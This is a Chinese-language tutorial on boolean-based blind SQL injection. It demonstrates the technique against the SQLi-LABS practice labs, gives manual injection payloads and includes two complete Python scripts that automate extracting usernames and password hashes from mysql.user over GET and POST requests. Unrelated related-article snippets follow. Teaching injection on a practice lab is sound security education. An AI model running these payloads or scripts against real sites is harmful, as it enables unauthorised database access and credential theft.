Web安全:SQL注入之布尔盲注原理+步骤+实战操作
「作者简介」:2022年北京冬奥会网络安全中国代表队,CSDN Top100,就职奇安信多年,以实战工作为基础对安全知识体系进行总结与归纳,著作适用于快速入门的 《网络安全自学教程》,内容涵盖系统安全、信息收集等12个知识域的一百多个知识点,持续更新。
这一章节我们需要知道布尔盲注的原理和使用步骤。

布尔盲注是SQL注入漏洞的利用方式之一,布尔盲注使用时分为两个步骤:
- 使用
length()函数判断查询结果的「长度」 - 使用
substr()函数「截取」每一个字符,并「穷举」出字符内容
布尔盲注
- 1、原理分析
- 1.1、长度判断原理
- 1.2、穷举字符原理
- 2、步骤总结
- 2.1、判断注入点
- 2.2、判断长度
- 2.3、枚举字符
- 3、盲注脚本
1、原理分析
接下来,我们以测试网站(SQLi LABS 第5关)为例,解释一下这两个步骤的详细使用方式和注入的原理。
1.1、长度判断原理
首先,利用MySQL的 length()函数判断返回结果的「长度」是多少。
比如,我们猜database()当前数据库名字的长度是1个字符,在地址栏输入:
?id=1' and length( database() )=1 -- a
执行流程如下:

页面异常(空)显示,表示猜解长度有误;
页面正常显示,表示猜解长度正确;
依次猜测1,2,3……n,直至长度猜解正确(页面正常显示)。

如上,测试长度1~7一直异常(空)显示,测试长度8时变为正常显示,就意味着查询结果的长度是8.
1.2、穷举字符原理
查询结果由一个个字符组成,每一个字符有95种可能性(大小写字母、数字、特殊符号),对应的ASCLL编码是32~126。
不了解ASCLL编码的可以看我的另一篇文章:ASCLL编码详解,ASCLL编码对照表
使用MySQL的 substr()函数「截取」查询结果的第一个字符,使用 ascii()函数 将截取的字符「转换」成 ASCLL编码,依次判断是否等于32,33,34……126。
页面异常(空)显示,表示猜解失误;
页面正常显示,表示猜解正确;
猜解流程如下:

ASCLL编码 115 对应的字符是 ‘s’,确定第一个字符是:s
上一步已经确定了长度是 8,依次截取第 1~8个字符,并依次判断每个字符的内容。

2、步骤总结
页面没有显示位置,没有报错信息,只有登录成功和登录失败这两种情况时,使用布尔盲注。布尔盲注的效率并不高,所以使用优先级排在联合准入、报错注入后面。
2.1、判断注入点
同时满足以下两种情况:
?id=1' and 1 -- a 正常显示
?id=1' and 0 -- a 异常(空)显示
2.2、判断长度
?id=1' and length( 查询语句 )=1 -- a
2.3、枚举字符
?id=1 and ascii(substr( 查询语句 ,1,1))=32 -- a
3、盲注脚本
手工盲注的时间复杂度非常大,通常会使用脚本盲注。
get请求盲注脚本:
import requests# 只需要修改url 和 两个payload即可
# 目标网址(不带参数)
url = "http://3534c6c2bffd4225bf3409ae9a2ec278.app.mituan.zone/Less-5/"
# 猜解长度使用的payload
payload_len = """?id=1' and length((select group_concat(user,password)from mysql.user)) < {n} -- a"""
# 枚举字符使用的payload
payload_str = """?id=1' and ascii(substr((select group_concat(user,password)from mysql.user),{n},1)) = {r} -- a"""# 获取长度
def getLength(url, payload):length = 1 # 初始测试长度为1while True:response = requests.get(url= url+payload_len.format(n= length))# 页面中出现此内容则表示成功if 'You are in...........' in response.text:print('测试长度完成,长度为:', length,)return length;else:print('正在测试长度:',length)length += 1 # 测试长度递增# 获取字符
def getStr(url, payload, length):str = '' # 初始表名/库名为空# 第一层循环,截取每一个字符for l in range(1, length+1):# 第二层循环,枚举截取字符的每一种可能性for n in range(33, 126):response = requests.get(url= url+payload_str.format(n= l, r= n))# 页面中出现此内容则表示成功if 'You are in...........' in response.text:str+= chr(n)print('第', l, '个字符猜解成功:', str)break;return str;# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)
post请求盲注脚本:
import requests# 网站路径
url = "http://7eb82265178a435aa86d6728e7b1e08a.app.mituan.zone/Less-13/"
# 判断长度的payload
payload_len = """a') or length((select group_concat(user,password) from mysql.user))>{n} -- a"""
# 枚举字符的payload
payload_str = """a') or ascii(substr((select group_concat(user,password)from mysql.user),{l},1))={n} -- a"""# post请求参数
data= {"uname" : "a') or 1 -- a","passwd" : "1","submit" : "Submit"
}# 判断长度
def getLen(payload_len):length = 1while True:# 修改请求参数data["uname"] = payload_len.format(n = length)response = requests.post(url=url, data=data)# 出现此内容为登录成功if '../images/flag.jpg' in response.text:print('正在测试长度:', length)length += 1else:print('测试成功,长度为:', length)return length;# 枚举字符
def getStr(length):str = ''# 从第一个字符开始截取for l in range(1, length+1):# 枚举字符的每一种可能性for n in range(32, 126):data["uname"] = payload_str.format(l=l, n=n)response = requests.post(url=url, data=data)if '../images/flag.jpg' in response.text:str += chr(n)print('第', l, '个字符枚举成功:',str )breaklength = getLen(payload_len)
getStr(length)
相关文章:
Web安全:SQL注入之布尔盲注原理+步骤+实战操作
「作者简介」:2022年北京冬奥会网络安全中国代表队,CSDN Top100,就职奇安信多年,以实战工作为基础对安全知识体系进行总结与归纳,著作适用于快速入门的 《网络安全自学教程》,内容涵盖系统安全、信息收集等…...
电商秒杀系统-案例04-redis下的session控制
前言: 在现代的Web应用中,安全和高效的用户身份验证机制是至关重要的。本文将深入探讨基于令牌的用户登录会话机制,特别是在使用Redis进行会话管理的情景。通过这一案例实战,我们将了解令牌如何在用户身份验证过程中发挥核心作用&…...
贪吃蛇(c实现)
目录 游戏说明: 第一个是又是封面,第二个为提示信息,第三个是游戏运行界面 游戏效果展示: 游戏代码展示: snack.c test.c snack.h 控制台程序的准备: 控制台程序名字修改: 参考:…...
【论文阅读笔记】MapReduce: Simplified Data Processing on Large Clusters
文章目录 1 概念2 编程模型3 实现3.1 MapReduce执行流程3.2 master数据结构3.3 容错机制3.3.1 worker故障3.3.2 master故障3.3.3 出现故障时的语义 3.4 存储位置3.5 任务粒度3.6 备用任务 4 扩展技巧4.1 分区函数4.2 顺序保证4.3 Combiner函数4.4 输入和输出的类型4.5 副作用4.…...
LeetCode题练习与总结:二叉树的中序遍历--94
一、题目描述 给定一个二叉树的根节点 root ,返回 它的 中序 遍历 。 示例 1: 输入:root [1,null,2,3] 输出:[1,3,2]示例 2: 输入:root [] 输出:[]示例 3: 输入:roo…...
云计算十三课
centos安装 点击左上角文件 点击新建虚拟机 点击下一步 点击稍后安装操作系统,下一步 选择Linux(l)下一步 设置虚拟机名称 点击浏览选择安装位置 新建文件夹设置名称不能为中文,点击确定 点击下一步 设置磁盘大小点击下一步…...
[数据集][目标检测]电力场景安全帽检测数据集VOC+YOLO格式295张2类别
数据集格式:Pascal VOC格式YOLO格式(不包含分割路径的txt文件,仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数):295 标注数量(xml文件个数):295 标注数量(txt文件个数):295 标注类别…...
AtCoder Beginner Contest 308 A题 New Scheme
A题:New Scheme 标签:模拟 题意:给定 8 8 8个数的序列,询问这些数是否满足以下条件: 在 100 100 100到 675 675 675之间且能被 25 25 25整除序列是单调非递减的 题解:按题意模拟判断就好了。 代码&#…...
C++编程与朱元墇的关系
学编程和英语没关系,我说这句话,没人会相信,也不会有人说我什么哗众取宠。 我说学编程和朱元墇有关系,一定有人说我放P,其实这个P也和朱元墇有关系, 和朱元墇有什么P关系啊。 真有这P事啊, 朱元…...
0060__设计模式
1. 简单工厂模式( Simple Factory Pattern ) — Graphic Design Patterns 工厂模式 | 菜鸟教程 【设计模式——学习笔记】23种设计模式——建造者模式Builder(原理讲解应用场景介绍案例介绍Java代码实现)-CSDN博客 设计模式—— 五:迪米特…...
【Linux 网络】网络编程套接字 -- 详解
⚪ 预备知识 1、理解源 IP 地址和目的 IP 地址 举例理解:(唐僧西天取经) 在 IP 数据包头部中 有两个 IP 地址, 分别叫做源 IP 地址 和目的 IP 地址。 如果我们的台式机或者笔记本没有 IP 地址就无法上网,而因为…...
编译OpenResty遇到找不到OpenSSL的解决办法
以OpenResty-1.19.9.1为例 编辑openresty-1.19.9.1/build/nginx-1.19.9/auto/lib/openssl/conf CORE_INCS"$CORE_INCS $OPENSSL/.openssl/include" CORE_DEPS"$CORE_DEPS $OPENSSL/.openssl/include/openssl/ssl.h" CORE_LIBS"$CORE_LIBS $OPENSSL/.…...
Amazon Bedrock 托管 Llama 3 8B70B
Amazon Bedrock 托管 Llama 3 8B&70B,先来体验:(*实验环境账号有效期为1天,到期自动关停,请注意重要数据保护) https://dev.amazoncloud.cn/experience/cloudlab?id65fd86c7ca2a0d291be26068&visi…...
海豚调度器早期版本如何新增worker分组
在DolphinScheduler 1.3.5版本中,Worker分组通常是在部署时通过配置文件进行定义的,而不是在用户界面上直接操作。以下是在DolphinScheduler中新增Worker分组的一般步骤: 修改配置文件: DolphinScheduler的Worker分组信息通常在/…...
Debian Linux 下给Nginx 1.26.0 编译增加Brotli算法支持
明月发现参考【给Nginx添加谷歌Brotli压缩算法支持】一文给出的方法,在Debian Linux 12.5下就一直编译失败,主要的错误是因为文件缺失,在专门又安装了apt-get install libbrotli-dev的依赖库后依然会因为文件缺失无法编译完成,就这…...
中国银行从业在线教育系统,如何搭建网课平台?
如今这个时代相信没多少人是没听过网课平台的,绝大多数人对网课平台的名气是如雷贯耳的。时代的发展,让人们学习的方式变得更加的方便与快捷。今天就来和大家说说网课平台搭建都有哪些方法?网课平台难搭建么? 网课平台搭建的方法,其实网课平…...
解决java.lang.IllegalArgumentException异常的正确方法
java.lang.IllegalArgumentException 是 Java 中的一个异常类,表示方法中传递的参数不合法。这个异常通常在方法被调用时抛出,表明方法的参数出现了问题。要正确解决这个异常,你可以按照以下步骤进行: 查看异常信息:首…...
齿轮滚刀刃口钝化技术简介
介绍 在滚刀的使用中发现,进口滚刀和国产滚刀在加工质量和寿命方面存在显著差异。经过多次比较得知,滚刀的使用寿命可以达到国产滚刀的两倍以上,而进口滚刀返回原厂磨削后的使用寿命约为新刀具的90% ,但同样经过国内厂家磨削后&a…...
【ESP32接入ATK-MO1218 GPS模块】
【ESP32接入ATK-MO1218 GPS模块】 1. 引言2. ATK-MO1218 GPS模块概述3. 接入ATK-MO1218 GPS模块的步骤4. 示例代码5. 结论1. 引言 在现代的嵌入式系统和物联网项目中,精确的位置信息是至关重要的。ATK-MO1218 GPS模块作为一款高性能的GPS/北斗双模定位模块,为开发者提供了强…...
EDA设计学习笔记2:STM32F103C8T6最小系统板的仿绘
今日开始仿制练习一个STM32F103C8T6最小系统板,通过对这个最小系统板的仿制,达到对自己PCB设计的练习的目的,最终目标是自己设计出一块PCB,做一个OLED的桌面小摆件...... 也不知道画出来能不能用..... 目录 主控芯片的搜索与放置…...
暗黑3按键助手:一键解放双手的终极游戏伴侣 [特殊字符]
暗黑3按键助手:一键解放双手的终极游戏伴侣 🎮 【免费下载链接】D3keyHelper D3KeyHelper是一个有图形界面,可自定义配置的暗黑3鼠标宏工具。 项目地址: https://gitcode.com/gh_mirrors/d3/D3keyHelper 还在为暗黑3中复杂的技能连招和…...
GPU算力高效利用:Pixel Language Portal在单卡多实例部署中的资源隔离与负载均衡教程
GPU算力高效利用:Pixel Language Portal在单卡多实例部署中的资源隔离与负载均衡教程 1. 引言:为什么需要单卡多实例部署 在AI应用开发中,GPU资源往往是稀缺且昂贵的。Pixel Language Portal作为一款基于Tencent Hunyuan-MT-7B的高端翻译工…...
三步打造个性化Windows任务栏:TranslucentTB效率工具完全指南
三步打造个性化Windows任务栏:TranslucentTB效率工具完全指南 【免费下载链接】TranslucentTB A lightweight utility that makes the Windows taskbar translucent/transparent. 项目地址: https://gitcode.com/gh_mirrors/tr/TranslucentTB 你是否曾觉得Wi…...
Omni-Vision Sanctuary在嵌入式边缘设备上的轻量化部署思考
Omni-Vision Sanctuary在嵌入式边缘设备上的轻量化部署思考 1. 嵌入式视觉的挑战与机遇 在智能摄像头、工业质检设备、无人机等嵌入式场景中,视觉模型的部署一直面临特殊挑战。传统方案要么性能不足,要么功耗过高,难以平衡实时性与能效比。…...
HsMod终极指南:5步打造你的专属炉石传说模改体验
HsMod终极指南:5步打造你的专属炉石传说模改体验 【免费下载链接】HsMod Hearthstone Modify Based on BepInEx 项目地址: https://gitcode.com/GitHub_Trending/hs/HsMod HsMod是一款基于BepInEx框架的炉石传说模改插件,为玩家提供全面的游戏体验…...
【建议收藏】彻底剥离“机器味”:2026硬核横评10款降AI神器,实录97.98%极限降至7.46%
现在的知网、维普AIGC检测已经不同往日了,哪怕你逐字手打,只要句式稍显机械,系统就会判定疑似AI生成。很多同学为了降低ai率,把论文改成了毫无逻辑的口水话,结果AI率反而炸了。 别再盲目试错,为了帮大家在…...
格式化字符串漏洞利用的5种常见手法:以CTFshow题目为例
格式化字符串漏洞实战:5种高级利用手法与CTFshow案例分析 格式化字符串漏洞(Format String Vulnerability)是二进制安全领域中最经典也最危险的漏洞类型之一。这种漏洞源于程序员错误地将用户输入直接作为格式化字符串参数传递给printf、spri…...
Deepin系统远程桌面实战:从零配置xrdp服务到Windows无缝连接
Deepin系统远程桌面实战:从零配置xrdp服务到Windows无缝连接 在跨平台协作成为常态的今天,远程桌面技术让不同操作系统间的无缝协作成为可能。对于使用Deepin系统的用户而言,如何高效地通过Windows设备远程访问和控制Deepin桌面,是…...
革新性PDF可视化标记技术:从原理到实践的全方位解析
革新性PDF可视化标记技术:从原理到实践的全方位解析 【免费下载链接】obsidian-pdf-plus PDF: the most Obsidian-native PDF annotation & viewing tool ever. Comes with optional Vim keybindings. 项目地址: https://gitcode.com/gh_mirrors/ob/obsidian-…...
Docker 容器技术 第一节---定义、概念、安装CentOS 7 Linux系统、MobaXterm中安装docker-ce
一、Docker的定义Docker是一款开源的容器化平台,它能将应用及其依赖的环境、配置、库等打包成轻量可移植的容器,既保证了不同环境下应用运行的一致性,又以共享宿主机内核的方式实现了比传统虚拟机更高效的资源利用和秒级启动速度,…...
